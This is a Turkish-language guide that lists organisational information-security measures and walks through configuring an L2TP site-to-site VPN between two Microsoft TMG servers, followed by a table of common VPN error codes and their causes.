1. Gizlilik: Bilgi ya da kaynakların gizlenmesi
2. Orijinallik: Bilginin kaynağından emin olmaktır.
3. Güvenilirlik: Veri ya da kaynağın uygunsuz ya da yetkisizce değiştirilmediğinden emin olmaktır.
4. Kullanılabilirlik: İstenildiği zaman veri ve kaynakların ulaşılabilir durumda olmasıdır.

Bilişim Güvenliğini sağlamada dikkat edilmesi gerekenler

1. Genele açık bilgilerin kontrol altına alınması

Kurumsal e-posta kullanımının kapsamlarının belirlenmesi ve e-posta güvenliğinin sağlanması.
DNS, E-posta vb internete açık sistemlerin verebildiği bilgilerin kontrolü ve güvenliğinin sağlanması.
Kariyer ilanlarının dışarıya verebileceği bilginin belirlenmesi.

2. İnternete açık olan saldırı yüzeyinin daraltılması

İnternete çıkış noktalarının minimum da tutulması 
İnternet üzerinden erişime açık sistemlerin bilgi verme seviyelerinin kontrolü.
Kurumun internete çıkışının tek noktadan yönetilmesi.
İnternet üzerinden erişimi açık sistemlerin güncellemelerinin ve gereksiz servislerinin takip edilmesi.
Port tarama ve diğer benzer saldırılara karşı güvenlik duvarı ve IDS, IPS sistemlerinin yapılandırılması ve ilke kontrollerinin sağlanması

3.  Çalışanların internet erişimlerinin kontrol altına alınması

Çalışanların internet erişimlerinin politikalarının dışına çıkıp çıkmadıklarının kontrolü.
Zararlı yazılımlarının yerel sistemler için erişilebilir olup olmadıklarının kontrolü.
3g ve GSM gibi kontrolsüz internet erişimi sağlayabilecek sistemlerin kontrolü.

4. Yetki kontrolleri

Kurum çalışanlarının yetkileri dışında yaptıkların yada yapmaya çalıştıkları eylemlerin takip edilmesi.
Önemli veriye erişim için tanımlanmış olan ilkelerin gerçekten uygulanıp uygulanmadığının doğrulanması.
Önemli verinin yetkisizce dışarıya çıkarılıp çıkarılamadığının kontrolleri.
Denetlemeler ile çalışanların yaptıkları eylemlerin kayıt altına alınması.

5. Güvenlik uygulamalarının kontrolleri

Kurum çalışanlarının güvenliği sağlama için kullanılan anti virüs ve anti spam yazılımlarının çalışırlığının test edilmesi.

6. Ağ Güvenliğinin Sağlanması

Yerel ağda kullanılan iletişimin güvenli hale getirilmesinin sağlanması. (Şifreleme)
Ağ üzerinde şifreleri çalmak için kullanılabilecek uygulamalarının sistemlere kurulumunun engellenmesi.,
Kurum çalışanlarının sistemlerinde yapılabilecek fiziksel adres (MAC) değişimlerinin kontrolü

7. Çalışanların Bilgi Güvenliği konularında eğitimi

Periyodik eğitimler ile bilgi güvenliği konularında çalışanları eğitiminin sağlanması.
Erişim sağlanacak verinin belirlenmesi ve çalışanlara belirtilmesi.
Yapılan eğitimler sonunda çalışanlara toplantılara katıldıklarına ve verilen bilgilerin anlaşıldığına dair imza alınması.
Yeni İşe giren personelin yapılacak anlaşma dahilinde Bilgi güvenliği konularından haberdar edilmesinin sağlanması.
Sistemlerin oturum açma sırasında uyarı mesajları ile kullanıcılara hatırlatmalarda bulunmasının sağlanması.

8. Web Uygulamalarının test edilmesi

İnternete  açık ve intranette kullanılan web uygulamalarının periyodik olarak testlerinin gerçekleştirilmesi ve yeni bulunan zayıflıklara karşı korunmasının sağlanması.
Web uygulamalarının zayıflık tarayıcı uygulamalar ile periyodik olarak taranması sonucu raporların kontrol edilmesi.

9. Kablosuz Ağ Güvenliği

Ağ' a girişin en kolay yolu olan kablosuz ağların güvenliklerinin kontrolleri.
Kablosuz ağ şifrelerinin periyodik olarak değiştirilmesi.

10. Fiziksel Güvenlik

Sunucu odası ve yedekleme ünitelerinin bulunduğu konumlara girişin korunması.
Özel sistemlere ve odalara girişin biometrik cihazlar ile korunmasının sağlanması.
Taşınabilir olan (Laptop , Palm , PDA ) cihazların çalınmaya karşı testlerinin yapılması.
Kablo lama hatalarından doğabilecek güvenlik zaafiyetlerinin kontrollerinin yapılması.
Yedekleme ve geri dönme çalışmalarının gerçekleştirilmesi.

11. Bilişim güvenliği yardımcı yazılımlarının kullanılması

Önemli verinin dışarı aktarılmasını önlemek için DLP (Data Loss Prevention) uygulamalarının yardımı.
Filtreleme, kayıt altına alma ve Saldırılardan haberdar olmak için Güvenlik Duvarı, IDS ve IPS uygulamalarının yardımı.
Ağ anormalliklerinin tespiti kolaylaştırmak için Ağ izleme yazılımlarının yardımı.

12. Güvenlik Testleri

Sistem üzerinde olabilecek zafiyetleri tespit etmek adına periyodik olarak güvenlik testlerinin gerçekleştirilmesi sağlanmalıdır.

TMG Site To Site VPN

TMG de L2TP ile Site to Site VPN Yapılandırması


VPN kullanım senaryolarına bakıldığında VPN sadece istemcilerin uzak ağlara bağlanmasını sağlamakla kalmayarak iki uzak ağın da birbirine bağlanmasını sağlamak üzere uygulanabilmektedir.

Bununla beraber VPN kurumsal ağlarda merkez ve şubeler gibi farklı ağların birbirine bağlanmasını (Site to Site) sağlamaktadır. Bu şekilde uzak ağlar VPN protokolünün güvenliği ile sanki aynı ağ da gibi çalışabilmekte ve aradaki trafik tamamen şifreli olarak aktarılmaktadır.



“Bursa” ve “Ankara” bölgeleri farklı konumda bulunmaktadır. İki ağdada bulunan TMG sunucular sayesinde bu ağların VPN ile birleştirilmesi ve iletişimin yönetilmesi mümkündür.
Site to Site VPN aynı protokol desteğine sahip TMG sunucular ve 3. Parti uygulama ve donanımlar arasında gerçekleştirilebilmektedir.
Site to Site VPN için kullanılan üç adet protokol bulunmaktadır.

1. PPTP: ISA 2000, 2004, 2006, TMG ya da Windows VPN sunucusu arasında VPN bağlantısının kurulmasını sağlamak-tadır. Oluşturulması en kolay olan VPN türüdür. Orta düzey güvenlik sağlamaktadır.

2. L2TP: ISA 2000, 2004, 2006, TMG ya da Windows VPN sunucusu arasında VPN bağlantısının kurulmasını sağlamak-tadır. PPTP ye göre üst düzey güvenlik sağlar, bunun sebebi IpSec şifreleme kullanmasıdır. IpSEC protokolünün perfor-mans problemleri uygulanmadan gözden geçirilmelidir.

3. IpSEC (Tünel Mod ile ): 3. Parti uygulama ve donanımlar ile Site to Site VPN yapılacaksa kullanılması gereken proto-koldür.

L2TP ile Site to Site VPN Yapılandırması
Aşağıdaki resimde görüntülenen iki ağın VPN ile birbirlerine erişimi sağlamak adına “Bursa” şubesinde bulunan TMG_BRS sunucusunda yapılması gereken işlem adımlarını bu bölümde bulabilirsiniz.


“Bursa” şubesinden “Ankara” ya L2TP VPN bağlantısı kurmak için aşağıdaki adımları takip ediniz.
Öncelikle TMG konsolundan “Remote Access Policy ( VPN )” başlığında bulunan “Remote Sites” tabına ulaşılmalıdır.



“Remote Sites” başlığı altından ya da sağda bulunan “Tasks” panelinden “Create VPN Site-to-Site Connection” ile sihirbaza ulaşmak mümkündür.
“Create Site-to Site Connection” sihirbazında ağ adı olarak “Bursa_Ankara” tanımlıyoruz.




Önemli: TMG yapılandırma sihirbazlarında tanım dışında bir anlam ifade etmeyen bu alan Site to Site kurulumda büyük öneme sahiptir. Hatta Site to Site kurulumun püf noktası olarak adlandırılabilen bu alan da yazan isim ile sistemde aynı isimde bir hesap oluşturulmalıdır. Eğer ağ adı ve kullanıcı adı birbirlerinden farklı isimlere sahip ise ise Site-to-Site VPN çalışmayacaktır.
Bu aşamada sihirbazı TMG_BRS sunucusunda bu kullanıcı hesabı oluşturulmalıdır. Bunun için “Server Manager > Configuration > Local users & Computers” dan “Bursa_Ankara” adında bir hesap oluşturuyoruz.



Eğer TMG sunucu Etki alanı üyesi ise bu hesap “Active Direc-tory Users & Computers” dan oluşturulabilir.  “ Password never expires “ seçeneğini işaretleyerek 42 gün sonra şifrenin tekrar ve-rilmesi gerekliliğinden VPN bağlantımızı koruyabiliriz. Bu hesap VPN bağlantımızı sağlayacağından başka bir işlem için kullanılma-malıdır. Oluşturulan bu hesabın “Dial-in” tabında “Allow Access” seçeneği ile VPN erişim yetkisine sahip olması gerekmektedir.
Kullanıcı hesabını oluşturduktan sonra “Create Site-to Site Con-nection” sihirbazına kaldığımız yerden devam edebiliriz.





“VPN Protocol” başlıklı sihirbaz adımı ile kullanılacak protokol olan “L2TP” seçilerek devam edilir. “Next” butonuna tıklandığında ağ adı ile kullanıcı adının aynı olması gerektiği ile ilgili mesaj görüntülenmektedir. Bu uyarı mesajını “OK” butonu ile kapatıp sihirbaza devam ediyoruz.

“Local Network VPN Settings” başlıklı bölüm uzak ağdan gelen istemcilere verilecek IP aralığını tanımlanmasını sağlamaktadır. Daha önce Client to Site VPN tanımında belirttiğimiz aralığın bu alanda otomatik olarak geldiğini görmekteyiz. Eğer bu tanım yapılmadıysa TMG üzerinde herhangi bir ağa tanımlanmamış olan bir IP aralığı “Add” butonu ile eklenebilir.



Statik IP havuzu yerine DHCP sunucu kullanımı için DHCP de VPN istemciler için özel “Scope” oluşturulmalıdır.
“Remote Site VPN Server” başlığı ile uzak ağdaki sunucunun IP adresi tanımlanmalıdır. “Ankara” da bulunan TMG sunucunun in-ternet üzerinden erişilebilir IP si olan “87.86.85.84” ü bu alana ekliyoruz.



Bu noktada göz ardı edilmemesi gereken konu eğer TMG sunucular önünde modem ya da NAT yapan herhangi bir donanım mevcut ise VPN protokollerinin geçişine izin verilmelidir. Bu protokolleri kullandığı portlar seçimi yapılan VPN protokolüne göre değişmektedir.
“Remote Authentication” başlıklı sihirbaz adımı Bursa ağında bulunan TMG sunucunun Ankara ya VPN bağlantısı kurmak için ihtiyaç duyulan kullanıcı hesabının belirlenmesini sağlar.


Uzak ağ da bulunan TMG sunucu etki alanı üyesi ise “Domain” kutusunda Etki alanı belirtilmelidir. Ankara da ki sunucuda tama-men yukarıda bahsedilen işlem adımları gerçekleştirileceğinden “Bursa_Ankara” adlı kullanıcı hesabı ve ağı Ankara da bulunan TMG sunucu dada oluşturulmalıdır.
“L2TP / IPSEC Outgoing Authentication” başlık sayfa giden kimlik doğrulama isteklerinin nasıl sağlanacağını belirler.


Certificate Authentication: Eğer bu seçim gerçekleştirilir ise iki TMG sunucuda aynı sertifika sağlayıcısı tarafından verilmiş dijital sertifikalar bulunmalıdır.
Pre-shared key: Önceden paylaşılan anahtar herhangi bir şifre ile kimlik doğrulaması sağlanır. Yukarıdaki resimde görüntülenen örnekte “Pre-Shared key” seçimi yapılmış ve şifre olarak “sifre” metni belirtilmiştir.
“Incoming L2TP / IPSEC Authentication” adımında gelen kimlik doğrulama isteklerinin nasıl karşılanacağını belirleyen bölümdür.



Örneğimizde bu alanda da “Allow pre-shared key authentica-tion for incoming L2TP connections” seçimi yapılarak “sifre” metni tanımlanmıştır.
“Network Adresses” başlığı uzak ağın IP aralığını belirtmeyi sağlayan sihirbaz adımıdır.



“Add Range” butonu ile Ankara ağının IP aralığı olan “13.0.0.0 – 13.0.0.255” tanımlanır. Bu giriş sayesinde TMG yönlendirme tablosunu günceller ve bu aralığa bir talep gitmek istediğinde VPN bağlantısı üzerinden gönderir.
“Remote NLB” ile uzak sunucuda NLB (Network Load Balancing) aktif ise IP adreslerinin girilmesi sağlanır.


Örneğimizde “The remote site is enabled for Network Load Balancing” işareti kaldırılarak bu özellik devre dışı bırakılmıştır.
“Site-to-Site Network Rule” ile Site to site VPN ile erişim sağlayan uzak ağda bulunan istemcilerin iç ağa yönlendirilmesini sağlayan Ağ kuralı oluşturulur.


“Add” butonu sayesinde VPN istemcilerin TMG üzerinde tanımlı diğer ağlara da yönlendirilmesi sağlanmaktadır.
I 'll create a network rule later: Seçimi ise daha sonra elle kuralı oluşturacağımızı TMG ye belirtmeyi sağlar.
“Site-to-Site Network Access Rule” ile VPN ile erişim sağlayacak istemcilerin iç ağa hangi protokolleri kullanarak erişim sağlayacakları belirlenir.


Yukarıdaki örnekte “Ankara” ağından gelen istemcilerin “DNS, http, https ve RDP” protokolleri ile geçişine izin verilmiştir. “Add” butonu ile izin verilecek protokoller belirlenebilir. “Apply the rule to these protocols” başlığı altından “All outbound traffic” seçilerek tüm protokollerin geçişine izin verilebilmektedir.
İşlem adımları tamamlandıktan sonra son ekranda “Finish” butonu ile RRAS servisinin yeniden başlatılacağı mesajına “Ok” tıklayarak sihirbaz tamamlanır.


Sihirbaz adımlarının tamamlanması ile “Remote Sites” başlığı altında “Bursa_Ankara” adlı tanım oluşturulmuştur.



Bununla beraber “Networks” başlıklı bölümde “Bursa_Ankara” ağ tanımı sihirbaz sayesinde oluşturulmuş ve “Network Rules” ile “Bursa_Ankara” ağının iç ağa erişimi “Route” ile sağlanmıştır.

VPN istemcilerinin iç ağa hangi protokoller ile erişeceklerini sağla-yan kural ise “Firewall Policy” de bulunmaktadır.


Anakarada bulunan istemcilerin iç ağa erişimini sağlayan bu kural “Allow Access between Bursa_Ankara and Internal” adı ile oluşturulmuştur. Bu kural özelliklerinden belirtilen protokoller de eklenerek destek sağlanabilmektedir.

Site-to-Site VPN de göz ardı edilmemesi gerekenler

İki sunucudaki ayarların eşleşmesi: Yukarıdaki işlem adımları tamamen iki sunucu dada yapılması gereken işlemlerdir. Herhangi birinde yapılacak hata VPN erişimini engelleyecektir.
Ağ Adı ile kullanıcı hesap adının aynı olması: Site-to-Site ileti-şimin en önemli ayrıntısı olan bu konuya iki sunucuda da önem göstermek gerekmektedir. Kullanıcı adı, Ağ adı ile mutlaka aynı olmalıdır.

İstemcilerde yönlendirme sorunu: Eğer iki ağdada bulunan kul-lanıcılar TMG yi varsayılan ağ geçidi olarak kullanmıyorlar ise uzak ağa erişmekte problem yaşayacaklardır.

VPN konusunda genel hatalar ve çözümleri

1. Error 809: PPTP bağlantısının kullanıcı adı ve şifre doğru-lanırken başarısız olması.
Sebep: İstemci ve sunucu arasında bulunan herhangi bir sis-temin port 1723 ü engellemesi ya da sunucu üzerinde PPTP nin devre dışı olması.
2. Error 806: PPTP bağlantısının kullanıcı adı ve şifre doğrulanırken başarısız olması.
Sebep: GRE paketlerinin arada bulunan herhangi bir sistem tarafından engellenmesi
3. Error 766: L2TP bağlantısı sırasında “Certificate could not be found - Sertifika bulunamadı” hatasının alınması
Sebep: IpSec sertifikasının istemcide bulunmaması, IPsec sertifikasının güvenilir bir sertifika sağlayıcıdan temin edilmemiş olması.
4. Error 789: L2TP bağlantısı sırasında “IKE Main mode co-uld not be started IKE ana modu başlatılamadı” hatasının alınması.
Sebep: UDP 500 portunun aradaki herhangi bir sistem tarafından engellenmiş olması.
5. Error 809: SSTP bağlantısının kurulamaması.
Sebep: Aradaki herhangi bir sistemin port 443 ü engellemesi.
6. Error 0x800B010F: SSTP bağlantısı sırasında alınan “The certificate‟s CN name does not match the passed Value” hatası.
Sebep: İstemcinin VPN bağlantısı kurarken uzak sunucunun istemci adını yanlış girmesi “SSTP Listener” da geçerli sertifika kullanılmaması.
7. SSTP bağlantısının “The server certificate revocation state could not be verified – Sunucu sertifikasının İptal durumu doğrulanamadı” hatası ile sona ermesi
Sebep: CRL listesine istemcilerin erişim sağlayamaması.